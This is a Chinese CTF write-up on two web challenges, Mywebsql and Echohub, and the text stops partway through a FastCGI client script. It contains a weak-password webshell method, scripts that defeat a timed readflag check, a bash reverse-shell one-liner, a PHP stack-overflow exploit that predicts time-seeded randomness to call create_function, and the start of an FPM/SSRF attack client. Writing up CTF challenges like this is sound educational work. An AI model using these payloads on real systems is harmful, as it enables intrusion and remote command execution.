CTF 2019 Mywebsql Echohub WriteUp

2019-05-07 5,912

很有意思的题目,研究了一下自认为感觉比较有意思的两个Web题目,记录一下过程。

Mywebsql

题目信息

打开题目链接后发现运行MyWebSQL程序,版本为3.7,搜索得到相关漏洞信息:

image.png

http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201902-318

漏洞文档中说明漏洞利用条件为后台,尝试弱口令admin/admin登录后台成功。

创建表并添加一句话木马到表内数据,利用备份功能将该表内数据备份为.php结尾文件,成功获取Webshell(密码不添加引号,避免备份转义导致失败),地址为:

http://35.243.82.53:10080/backups/xxxx.php

连上shell找到flag位于根目录下,但是却没有权限直接访问,但是同目录下发现readflag文件,执行后需要输入验证码:

01.png

下载程序并使用IDA进行查看:

02.png

发现输出flag处使用了ualarm()函数,将使当前进程在0x3E8u(us位单位)内产生会终止当前进程的SIGALRM信号。

管道解法

在当前进程收到退出信号前,完成验证码计算并提交,获取flag,只要是考查管道。

因为时间很短,网络延迟高,因此这里攻击脚本只能在服务器上运行,以求快速。

php

php虽然是题目的默认环境但是感觉并不是特别好用。

  • 首先最常见的system,exec,没有管道,无法获取输入输出进行交互。

  • 接着就是popen,打开一个指向进程的管道,只不过它是单向的(只能用于读或写)。

  • 最后的解决方案proc_open,执行命令,并且打开用来输入/输出的文件指针。

  • 此处为追求程序的速度,不能在php中使用explode,preg_match等准确但损耗性能的函数,可以选取substr或更优雅的str_replace,但可能因为php本身性能偶尔还是会超时。

脚本如下:

<?php
$descriptorspec = array(
0 => array("pipe", "r"),  
1 => array("pipe", "w"), 
2 => array("file", "/tmp/error-output.txt", "a")
);

$cwd = '/tmp';
$stime=microtime(true);
$process = proc_open('/readflag 2>&1', $descriptorspec, $pipes, $cwd);


$string = stream_get_contents($pipes[1],130);
$string = str_replace('Solve the easy challenge first','',$string);
$string = str_replace('input your answer:','',$string);
$string = str_replace('\n','',$string);
$result = eval("return $rs;");
echo $result;
fwrite($pipes[0], "$result\n");

$rs = stream_get_contents($pipes[1],130);
echo $rs;
fclose($pipes[1]);

perl

这是官方解法,但是对perl却不太熟悉,感觉perl速度可能更快

use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
  or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

python

最开始并没有发现装有python

image.png

结果是python3,似乎丢一个python3的执行文件上去就可执行,打算测试时服务器已经关闭,未测试

image.png

信号解法

ualarm()函数通过SIGALRM信号结束进程,可以通过trap命令修改SIGALRM信号的处理方式:

比如,按Ctrl+C会使脚本终止执行,实际上系统发送了SIGINT信号给脚本进程,SIGINT信号的默认处理方式就是退出程序。如果要在Ctrl+C不退出程序,那么就得使用trap命令来指定一下SIGINT的处理方式了。

trap命令的参数分为两部分,前一部分是接收到指定信号时将要采取的行动,后一部分是要处理的信号名。

  • 首先反弹可以交互bash

    1. bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

  • 重新定义SIGALRM信号的处理方式为不作任何操作

    1. trap "" 14


Echohub

题目信息

官方HINT:

image.png

image.png

表单中输入啥都会返回phpInfo,:

image.png

查看源码发现可以添加参数获得源码?source=1

Sandbox.php

<?php
$banner = <<<EOF
<!--/?source=1-->
<pre>
 .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. | 
| |  _________   | || |     ______   | || |  ____  ____  | || |     ____     | || |  ____  ____  | || | _____  _____ | || |   ______     | | 
| | |_   ___  |  | || |   .' ___  |  | || | |_   ||   _| | || |   .'    `.   | || | |_   ||   _| | || ||_   _||_   _|| || |  |_   _ \    | | 
| |   | |_  \_|  | || |  / .'   \_|  | || |   | |__| |   | || |  /  .--.  \  | || |   | |__| |   | || |  | |    | |  | || |    | |_) |   | | 
| |   |  _|  _   | || |  | |         | || |   |  __  |   | || |  | |    | |  | || |   |  __  |   | || |  | '    ' |  | || |    |  __'.   | | 
| |  _| |___/ |  | || |  \ `.___.'\  | || |  _| |  | |_  | || |  \  `--'  /  | || |  _| |  | |_  | || |   \ `--' /   | || |   _| |__) |  | | 
| | |_________|  | || |   `._____.'  | || | |____||____| | || |   `.____.'   | || | |____||____| | || |    `.__.'    | || |  |_______/   | | 
| |              | || |              | || |              | || |              | || |              | || |              | || |              | | 
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' | 
 '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  
 
 Welcome to random stack ! Try to execute `/readflag` 😛
 
 </pre>

 <form action="/" method="post">root > <input name="data" placeholder="input some data"></form>
EOF;
echo $banner;
if(isset($_GET['source'])){
    $file = fopen("index.php","r");
    $contents = fread($file,filesize("index.php"));
    echo "---------------sourcecode---------------";
    echo base64_encode($contents);
    echo "----------------------------------------";
    fclose($file);
    //Dockerfile here
    echo "Dockerfile here"; //此处太长省略
    highlight_file(__FILE__);

}
$disable_functions = ini_get("disable_functions");
$loadext = get_loaded_extensions();
foreach ($loadext as $ext) {
    if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
    else {
        if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
            $dfunc = join(',',get_extension_funcs($ext));
        else
            continue;
        $disable_functions = $disable_functions.$dfunc.",";

    }
}
$func = get_defined_functions()["internal"];
foreach ($func as $f){
    if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
        $disable_functions = $disable_functions.$f.",";
    }
}

ini_set("disable_functions", $disable_functions);
ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");

可以得到安装的dockerfile,经过Base64解码后内容为内容为:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y install software-properties-common
RUN add-apt-repository -y ppa:ondrej/php
RUN apt-get update
RUN apt-get -y upgrade
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install
RUN service --status-all | awk '{print $4}'| xargs -i service {} stop

RUN rm /var/www/html/index.html
COPY randomstack.php /var/www/html/index.php
COPY sandbox.php /var/www/html/sandbox.php
RUN chmod 755 -R /var/www/html/
COPY flag /flag
COPY readflag /readflag
RUN chmod 555 /readflag
RUN chmod u+s /readflag
RUN chmod 500 /flag
COPY ./run.sh /run.sh
COPY ./php.ini /etc/php/7.3/apache2/php.ini
RUN chmod 700 /run.sh

CMD ["/run.sh"]

安装了PHP7.3的全部拓展,并且根据HINT运行了全部安装的的服务,Webserver是apache2:

image.png

还能发现Base64输出了index.php的源码,解码后发现代码经过mzphp2混淆,这里可以直接花钱解密O(∩_∩)O哈哈~

index.php(Decode)

<?php
require_once 'sandbox.php';
$seed = time();
srand($seed);
define("INS_OFFSET",rand(0x0000,0xffff));
$regs = array(
    'eax'=>0x0,
    'ebp'=>0x0,
    'esp'=>0x0,
    'eip'=>0x0,
);
function aslr(&$value,$key)
{
    $value = $value + 0x60000000 + INS_OFFSET + 1 ;
}
$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);
function handle_data($data){
    $data_len = strlen($data);
    $bytes4_size = $data_len/4+(1*($data_len%4));
    $cut_data = str_split($data,4);
    $cut_data[$bytes4_size-1] = str_pad($cut_data[$bytes4_size-1],4,"\x00");
    foreach ($cut_data as $key=>&$value){
        $value = strrev(bin2hex($value));
    }
    return $cut_data;
}
function gen_canary(){
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
    $c_1 = $chars[rand(0,strlen($chars)-1)];
    $c_2 = $chars[rand(0,strlen($chars)-1)];
    $c_3 = $chars[rand(0,strlen($chars)-1)];
    $c_4 = "\x00";
    return handle_data($c_1.$c_2.$c_3.$c_4)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary(){
    global $canary;
    global $canarycheck;
    if($canary != $canarycheck){
        die("emmmmmm...Don't attack me!");
    }
}
Class stack{
    private $ebp,$stack,$esp;
    public function __construct($retaddr,$data) {
        $this->stack = array();
        global $regs;
        $this->ebp = &$regs['ebp'];
        $this->esp = &$regs['esp'];
        $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
        global $canary;
        $this->stack[$this->ebp - 0x4] = &$canary;
        $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
        $this->esp = $this->ebp - (rand(0x20,0x60)*4);
        $this->stack[$this->ebp + 0x4] = dechex($retaddr);
        if($data != NULL)
            $this->pushdata($data);
    }
    public function pushdata($data){
        $data = handle_data($data);
        for($i=0;$i<count($data);$i++){
            $this->stack[$this->esp+($i*4)] = $data[$i];//no args in my stack haha
            check_canary();
        }
    }
    public function recover_data($data){
        return hex2bin(strrev($data));
    }
    public function outputdata(){
        global $regs;
        echo "root says: ";
        while(1){
            if($this->esp == $this->ebp-0x4)
                break;
            $this->pop("eax");
            $data = $this->recover_data($regs["eax"]);
            $tmp = explode("\x00",$data);
            echo $tmp[0];
            if(count($tmp)>1){
                break;
            }
        }
    }
    public function ret(){
        $this->esp = $this->ebp;
        $this->pop('ebp');
        $this->pop("eip");
        $this->call();
    }
    public function get_data_from_reg($regname){
        global $regs;
        $data = $this->recover_data($regs[$regname]);
        $tmp = explode("\x00",$data);
        return $tmp[0];
    }
    public function call()
    {
        global $regs;
        global $plt;
        $funcaddr = hexdec($regs['eip']);
        if(isset($_REQUEST[$funcaddr])) {
            $this->pop('eax');
            $argnum = (int)$this->get_data_from_reg("eax");
            $args = array();
            for($i=0;$i<$argnum;$i++){
                $this->pop('eax');
                $argaddr = $this->get_data_from_reg("eax");
                array_push($args,$_REQUEST[$argaddr]);
            }
            call_user_func_array($plt[$funcaddr],$args);
        }
        else
        {
            call_user_func($plt[$funcaddr]);
        }
    }
    public function push($reg){
        global $regs;
        $reg_data = $regs[$reg];
        if( hex2bin(strrev($reg_data)) == NULL ) die("data error");
        $this->stack[$this->esp] = $reg_data;
        $this->esp -= 4;
    }
    public function pop($reg){
        global $regs;
        $regs[$reg] = $this->stack[$this->esp];
        $this->esp += 4;
    }
    public function __call($_a1,$_a2)
    {
        check_canary();
    }
}
if(isset($_POST['data'])) {
        $phpinfo_addr = array_search('phpinfo', $plt);
        $gets = $_POST['data'];
        $main_stack = new stack($phpinfo_addr, $gets);
        echo "--------------------output---------------------</br></br>";
        $main_stack->outputdata();
        echo "</br></br>------------------phpinfo()------------------</br>";
        $main_stack->ret();
}

可以发现这是一个使用php实现的栈,ORZ,很有意思。

解题

要点梳理

ORZ,现在梳理一下两个页面的代码逻辑:

sandbox.php:

  • 禁用许多函数,比如函数名种包括file、open字符的函数都会被禁用。

foreach ( $func as $f ) {
if ( stripos( $f, "file" ) !== false || stripos( $f, "open" ) !== false || stripos( $f, "read" ) !== false || stripos( $f, "write" ) !== false ) {
   $disable_functions = $disable_functions . $f . ",";
}
}
  • 获取全部的内置函数名称,存在$func变量中。

$func = get_defined_functions()["internal"];


index.php:

以当前时间进行随机数播种:

$seed = time();
srand( $seed );

将包含全部的内置函数名称的$func转化为'地址'=>'函数名'的$plt数组,并且被aslr保护,也就是键值随机。

define( 'INS_OFFSET', rand( 0x0, 0xffff ) );
function aslr(&$value,$key)
{
    $value = $value + 0x60000000 + INS_OFFSET + 1 ;
}
$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);


栈内初始化时有canary机制,在栈内随机初始化一个$canary,用于检测栈是否遭受缓冲区溢出。

栈内压入局部变量时会校验当前栈内的$canary是否和$canarycheck一致,若不一致就表示遭到攻击,过长的缓冲区溢出就会退出。

function gen_canary(){
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
    $c_1 = $chars[rand(0,strlen($chars)-1)];
    $c_2 = $chars[rand(0,strlen($chars)-1)];
    $c_3 = $chars[rand(0,strlen($chars)-1)];
    $c_4 = "\x00";
    return handle_data($c_1.$c_2.$c_3.$c_4)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary(){
    global $canary;
    global $canarycheck;
    if($canary != $canarycheck){
        die("emmmmmm...Don't attack me!");
    }
}
Class stack{
    private $ebp,$stack,$esp;
    public function __construct($retaddr,$data) {
        $this->stack = array();
        global $regs;
        $this->ebp = &$regs['ebp'];
        $this->esp = &$regs['esp'];
        $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
        global $canary;
        $this->stack[$this->ebp - 0x4] = &$canary;
        $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
        $this->esp = $this->ebp - (rand(0x20,0x60)*4);
        $this->stack[$this->ebp + 0x4] = dechex($retaddr);
        if($data != NULL)
            $this->pushdata($data);
    }

phpinfo的函数地址被默认放在ebp + 0x4(函数结束后eip的下一跳),去$plt映射表中找到函数名,传给call_user_func完成执行,因此正常输入都会返回phpinfo信息。

public function call() {
   global $regs;
   global $plt;
   $a = hexdec( $regs['eip'] );
   if ( isset( $_REQUEST[ $a ] ) ) {
      $this->pop( 'eax' );
      $len  = (int) $this->get_data_from_reg( 'eax' );
      $args = array();
      for ( $i = 0; $i < $len; $i ++ ) {
         $this->pop( 'eax' );
         $data = $this->get_data_from_reg( 'eax' );
         array_push( $args, $_REQUEST[ $data ] );
      }
      call_user_func_array( $plt[ $a ], $args );
   } else {
      call_user_func( $plt[ $a ] );
   }
}

解决思路:

这是一个缓冲区溢出的题目,和bin的栈溢出的思路没什么太大的区别。首先绕过aslr获取利用恶意函数地址,在绕过canary保护完成栈覆盖,控制返回地址,调用恶意函数完成代码执行。


防护绕过

可以发现不管是aslr还是canary都是根据随机数进行初始化,而随机数的的种子则是每次请求的时间time()。

经过测试发现题目服务器上的时间设置和我们是一致的,服务器time()函数返回的时间和本地time()函数返回的时间一致:

echo time() . "\n";
function _httpPost( $url = "", $requestData = array() ) {
	$curl = curl_init();
	curl_setopt( $curl, CURLOPT_URL, $url );
	curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
	curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
	$res = curl_exec( $curl );

	//$info = curl_getinfo($ch);
	curl_close( $curl );

	return $res;
}
$data = array( 'data' => 'Test time' );
$rs   = _httpPost( 'http://34.85.27.91:10080/', $data );
echo $rs;

随机数的种子可以获取,因此对rand函数结果产生的的随机数就可以在本地进行预测,因此aslr,canary均失效。

直接根据源码修改得到获取webshell的EXP:

<?php
$disable_functions = ini_get( "disable_functions" );
$loadext           = get_loaded_extensions();
foreach ( $loadext as $ext ) {
	if ( in_array( $ext, array( "Core", "date", "libxml", "pcre", "zlib", "filter", "hash", "sqlite3", "zip" ) ) ) {
		continue;
	} else {
		if ( count( get_extension_funcs( $ext ) ? get_extension_funcs( $ext ) : array() ) >= 1 ) {
			$dfunc = join( ',', get_extension_funcs( $ext ) );
		} else {
			continue;
		}
		$disable_functions = $disable_functions . $dfunc . ",";

	}
}
$func = get_defined_functions()["internal"];

$seed = time();
srand( $seed );
define( 'INS_OFFSET', rand( 0x0, 0xffff ) );
$regs = array( 'eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0 );
function aslr( &$a, $O0O ) {
	$a = $a + 0x60000000 + INS_OFFSET + 0x1;
}

//构造函数地址
$func_ = array_flip( $func );
array_walk( $func_, 'aslr' );
$plt = array_flip( $func_ );


function handle_data( $data ) {
	$len             = strlen( $data );
	$a               = $len / 0x4 + 0x1 * ( $len % 0x4 );
	$ret             = str_split( $data, 0x4 );
	$ret[ $a - 0x1 ] = str_pad( $ret[ $a - 0x1 ], 0x4, "\x00" );
	foreach ( $ret as $key => &$value ) {
		$value = strrev( bin2hex( $value ) );
	}

	return $ret;
}

function gen_canary() {
	$canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
	$a      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
	$b      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
	$c      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
	$d      = "\x00";

	return handle_data( $a . $b . $c . $d )[0];
}

$canary      = gen_canary();
$canarycheck = $canary;
function check_canary() {
	global $canary;
	global $canarycheck;
	if ( $canary != $canarycheck ) {
		die( 'emmmmmm...Don\'t attack me!' );
	}
}

class stack {
	public $ebp, $stack, $esp;

	public function __construct( $a, $b ) {
		$this->stack = array();
		global $regs;
		$this->ebp =& $regs['ebp'];
		$this->esp =& $regs['esp'];
		$this->ebp = 0xfffe0000 + rand( 0x0, 0xffff );
		global $canary;
		$this->stack[ $this->ebp - 0x4 ] =& $canary;
		$this->canary                    = $canary;
		$this->stack[ $this->ebp ]       = $this->ebp + rand( 0x0, 0xffff );
		$this->esp                       = $this->ebp - rand( 0x20, 0x60 ) * 0x4;
		$this->stack[ $this->ebp + 0x4 ] = dechex( $a );
		if ( $b != null ) {
			$this->pushdata( $b );
		}
	}

	public function pushdata( $data ) {
		$data_bak = $data;
		$data     = handle_data( $data );
		for ( $i = 0; $i < count( $data ); $i ++ ) {
			$this->stack[ $this->esp + $i * 0x4 ] = $data[ $i ];
			//no args in my stack haha
			check_canary();
		}
	}

	public function recover_data( $data ) {
		return hex2bin( strrev( $data ) );
	}

	public function outputdata() {
		global $regs;
		echo 'root says: ';
		while ( 0x1 ) {
			if ( $this->esp == $this->ebp - 0x4 ) {
				break;
			}
			$this->pop( 'eax' );
			$data = $this->recover_data( $regs['eax'] );
			$ret  = explode( "\x00", $data );
			echo $ret[0];
			if ( count( $ret ) > 0x1 ) {
				break;
			}
		}
	}

	public function ret() {
		$this->esp = $this->ebp;
		$this->pop( 'ebp' );
		$this->pop( 'eip' );
		$this->call();
	}

	public function get_data_from_reg( $item ) {
		global $regs;
		$a = $this->recover_data( $regs[ $item ] );
		$b = explode( "\x00", $a );

		return $b[0];
	}

	public function call() {
		global $regs;
		global $plt;
		$a = hexdec( $regs['eip'] );
		if ( isset( $_REQUEST[ $a ] ) ) {
			$this->pop( 'eax' );
			$len  = (int) $this->get_data_from_reg( 'eax' );
			$args = array();
			for ( $i = 0; $i < $len; $i ++ ) {
				$this->pop( 'eax' );
				$data = $this->get_data_from_reg( 'eax' );
				array_push( $args, $_REQUEST[ $data ] );
			}
			call_user_func_array( $plt[ $a ], $args );
		} else {
			call_user_func( $plt[ $a ] );
		}
	}

	public function push( $item ) {
		global $regs;
		$data = $regs[ $item ];
		if ( hex2bin( strrev( $data ) ) == null ) {
			die( 'data error' );
		}
		$this->stack[ $this->esp ] = $data;
		$this->esp                 -= 0x4;
	}

	public function pop( $item ) {
		global $regs;
		$regs[ $item ] = $this->stack[ $this->esp ];
		$this->esp     += 0x4;
	}

	public function __call( $name, $args ) {
		check_canary();
	}
}

function hexToStr( $hex ) {
	$str = "";
	for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
		$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
	}

	return $str;
}

function _httpPost( $url = "", $requestData = array() ) {

	$curl = curl_init();
	#curl_setopt( $curl, CURLOPT_PROXY, "127.0.0.1:8080" );
	curl_setopt( $curl, CURLOPT_URL, $url );
	curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );

	//普通数据
	curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
	$res = curl_exec( $curl );

	//$info = curl_getinfo($ch);
	curl_close( $curl );

	return $res;
}

$phpinfo_addr = array_search( 'phpinfo', $plt );
$gets         = 'Rai4over';
$main_stack1  = new stack( $phpinfo_addr, $gets );
$ebp          = $main_stack1->ebp;
$esp          = $main_stack1->esp;
$padding_num  = ( $main_stack1->ebp - $main_stack1->esp ) - 4;

$shellcode                              = '$dir="./";$file=scandir($dir);print_r($file);';
$post_data                              = array();
$data                                   = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';
$post_data['data']                      = $data;
$post_data[ $func_['create_function'] ] = 'Rai4over';
$post_data['6666']                      = '';
$post_data['7777']                      = "'1';}" . $shellcode . "/*";

$rs = _httpPost( "http://34.85.27.91:10080/", $post_data );
echo $rs;

image.png

本地构造栈,可以得到和服务器一样的栈结构($canarycheck,$plt等)

image.png

栈由低地址向高地址推进,计算AAA填充长度,需要减去canary的长度(-4):

$phpinfo_addr = array_search( 'phpinfo', $plt );
$gets         = 'Rai4over';
$main_stack1  = new stack( $phpinfo_addr, $gets );
$ebp          = $main_stack1->ebp;
$esp          = $main_stack1->esp;
$padding_num  = ( $main_stack1->ebp - $main_stack1->esp ) - 4;

计算并覆盖正确的canary,EBP值随意,根据call函数:

public function call() {
	global $regs;
	global $plt;
	$a = hexdec( $regs['eip'] );
	if ( isset( $_REQUEST[ $a ] ) ) {
		$this->pop( 'eax' );
		$len  = (int) $this->get_data_from_reg( 'eax' );
		$args = array();
		for ( $i = 0; $i < $len; $i ++ ) {
			$this->pop( 'eax' );
			$data = $this->get_data_from_reg( 'eax' );
			array_push( $args, $_REQUEST[ $data ] );
		}
		call_user_func_array( $plt[ $a ], $args );
	} else {
		call_user_func( $plt[ $a ] );
	}
}

会调用call_user_func_array( $plt[ $a ], $args );,参数为数组,因此将ret地址覆盖为create_function函数地址,create_function可以接受数组。

需要进入if分支,因此发送数据时需要发送包含create_function函数地址的查询参数。

create_function函数传入的参数数量、还有参数的内容也在是通过栈内pop得到,因此我们因该继续覆盖:

image.png

溢出缓冲区的data完整构造如下:

$data = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';

现在已经获得受限制的webshell。

攻击FPM

当前apache2载入/etc/php/7.3/apache2/php.ini配置文件的php环境禁用了执行命令的函数,但是我们可以利用受限的webshell连接没有额外安全设置的默认安装并运行的的FPM,SSRF完成命令执行。

控制FPM还需要利用auto_prepend_file+php://input包含进行php代码执行,再使用system函数反弹shell。

FPM攻击脚本如下:

<?php

class TimedOutException extends \Exception {
}

class ForbiddenException extends \Exception {
}


class Client {
	const VERSION_1 = 1;
	const BEGIN_REQUEST = 1;
	const ABORT_REQUEST = 2;
	const END_REQUEST = 3;
	const PARAMS = 4;
	const STDIN = 5;
	const STDOUT = 6;
	const STDERR = 7;
	const DATA = 8;
	const GET_VALUES = 9;
	const GET_VALUES_RESULT = 10;
	const UNKNOWN_TYPE = 11;
	const MAXTYPE = self::UNKNOWN_TYPE;
	const RESPONDER = 1;
	const AUTHORIZER = 2;
	const FILTER = 3;
	const REQUEST_COMPLETE = 0;
	const CANT_MPX_CONN = 1;
	const OVERLOADED = 2;
	const UNKNOWN_ROLE = 3;
	const MAX_CONNS = 'MAX_CONNS';
	const MAX_REQS = 'MAX_REQS';
	const MPXS_CONNS = 'MPXS_CONNS';
	const HEADER_LEN = 8;
	const REQ_STATE_WRITTEN = 1;
	const REQ_STATE_OK = 2;
	const REQ_STATE_ERR = 3;
	const REQ_STATE_TIMED_OUT = 4;
	/**
	 * Socket
	 * @var Resource
	 */
	private $_sock = null;
	/**
	 * Host
	 * @var String
	 */
	private $_host = null;
	/**
	 * Port
	 * @var Integer
	 */
	private $_port = null;
	/**
	 * Keep Alive
	 * @var Boolean
	 */
	private $_keepAlive = false;
	/**
	 * Outstanding request statuses keyed by request id
	 *
	 * Each request is an array with following form:
	 *
	 *  array(
	 *    'state' => REQ_STATE_*
	 *    'response' => null | string
	 *  )
	 *
	 * @var array
	 */
	private $_requests = array();
	/**
	 * Use persistent sockets to connect to backend
	 * @var Boolean
	 */
	private $_persistentSocket = false;
	/**
	 * Connect timeout in milliseconds
	 * @var Integer
	 */
	private $_connectTimeout = 5000;
	/**
	 * Read/Write timeout in milliseconds
	 * @var Integer
	 */
	private $_readWriteTimeout = 5000;

	/**
	 * Constructor
	 *
	 * @param String $host Host of the FastCGI application
	 * @param Integer $port Port of the FastCGI application
	 */
	public function __construct( $host, $port ) {
		$this->_host = $host;
		$this->_port = $port;
	}

	/**
	 * Define whether or not the FastCGI application should keep the connection
	 * alive at the end of a request
	 *
	 * @param Boolean $b true if the connection should stay alive, false otherwise
	 */
	public function setKeepAlive( $b ) {
		$this->_keepAlive = (boolean) $b;
		if ( ! $this->_keepAlive && $this->_sock ) {
			fclose( $this->_sock );
		}
	}

	/**
	 * Get the keep alive status
	 *
	 * @return Boolean true if the connection should stay alive, false otherwise
	 */
	public function getKeepAlive() {
		return $this->_keepAlive;
	}

	/**
	 * Define whether or not PHP should attempt to re-use sockets opened by previous
	 * request for efficiency
	 *
	 * @param Boolean $b true if persistent socket should be used, false otherwise
	 */
	public function setPersistentSocket( $b ) {
		$was_persistent          = ( $this->_sock && $this->_persistentSocket );
		$this->_persistentSocket = (boolean) $b;
		if ( ! $this->_persistentSocket && $was_persistent ) {
			fclose( $this->_sock );
		}
	}

	/**
	 * Get the pesistent socket status
	 *
	 * @return Boolean true if the socket should be persistent, false otherwise
	 */
	public function getPersistentSocket() {
		return $this->_persistentSocket;
	}

	/**
	 * Set the connect timeout
	 *
	 * @param Integer  number of milliseconds before connect will timeout
	 */
	public function setConnectTimeout( $timeoutMs ) {
		$this->_connectTimeout = $timeoutMs;
	}

	/**
	 * Get the connect timeout
	 *
	 * @return Integer  number of milliseconds before connect will timeout
	 */
	public function getConnectTimeout() {
		return $this->_connectTimeout;
	}

	/**
	 * Set the read/write timeout
	 *
	 * @param Integer  number of milliseconds before read or write call will timeout
	 */
	public function setReadWriteTimeout( $timeoutMs ) {
		$this->_readWriteTimeout = $timeoutMs;
		$this->set_ms_timeout( $this->_readWriteTimeout );
	}

	/**
	 * Get the read timeout
	 *
	 * @return Integer  number of milliseconds before read will timeout
	 */
	public function getReadWriteTimeout() {
		return $this->_readWriteTimeout;
	}

	/**
	 * Helper to avoid duplicating milliseconds to secs/usecs in a few places
	 *
	 * @param Integer millisecond timeout
	 *
	 * @return Boolean
	 */
	private function set_ms_timeout( $timeoutMs ) {
		if ( ! $this->_sock ) {
			return false;
		}

		return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
	}

	/**
	 * Create a connection to the FastCGI application
	 */
	private function connect() {
		if ( ! $this->_sock ) {
			if ( $this->_persistentSocket ) {
				$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
			} else {
				$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
			}
			if ( ! $this->_sock ) {
				throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr );
			}
			if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
				throw new \Exception( 'Unable to set timeout on socket' );
			}
		}
	}

	/**
	 * Build a FastCGI packet
	 *
	 * @param Integer $type Type of the packet
	 * @param String $content Content of the packet
	 * @param Integer $requestId RequestId
	 */
	private function buildPacket( $type, $content, $requestId = 1 ) {
		$clen = strlen( $content );

		return chr( self::VERSION_1 )         /* version */
		       . chr( $type )                    /* type */
		       . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
		       . chr( $requestId & 0xFF )        /* requestIdB0 */
		       . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
		       . chr( $clen & 0xFF )             /* contentLengthB0 */
		       . chr( 0 )                        /* paddingLength */
		       . chr( 0 )                        /* reserved */
		       . $content;                     /* content */
	}

	/**
	 * Build an FastCGI Name value pair
	 *
	 * @param String $name Name
	 * @param String $value Value
	 *
	 * @return String FastCGI Name value pair
	 */
	private function buildNvpair( $name, $value ) {
		$nlen = strlen( $name );
		$vlen = strlen( $value );
		if ( $nlen < 128 ) {
			/* nameLengthB0 */
			$nvpair = chr( $nlen );
		} else {
			/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
			$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
		}
		if ( $vlen < 128 ) {
			/* valueLengthB0 */
			$nvpair .= chr( $vlen );
		} else {
			/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
			$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
		}

		/* nameData & valueData */

		return $nvpair . $name . $value;
	}

	/**
	 * Read a set of FastCGI Name value pairs
	 *
	 * @param String $data Data containing the set of FastCGI NVPair
	 *
	 * @return array of NVPair
	 */
	private function readNvpair( $data, $length = null ) {
		$array = array();
		if ( $length === null ) {
			$length = strlen( $data );
		}
		$p = 0;
		while ( $p != $length ) {
			$nlen = ord( $data{$p ++} );
			if ( $nlen >= 128 ) {
				$nlen = ( $nlen & 0x7F << 24 );
				$nlen |= ( ord( $data{$p ++} ) << 16 );
				$nlen |= ( ord( $data{$p ++} ) << 8 );
				$nlen |= ( ord( $data{$p ++} ) );
			}
			$vlen = ord( $data{$p ++} );
			if ( $vlen >= 128 ) {
				$vlen = ( $nlen & 0x7F << 24 );
				$vlen |= ( ord( $data{$p ++} ) << 16 );
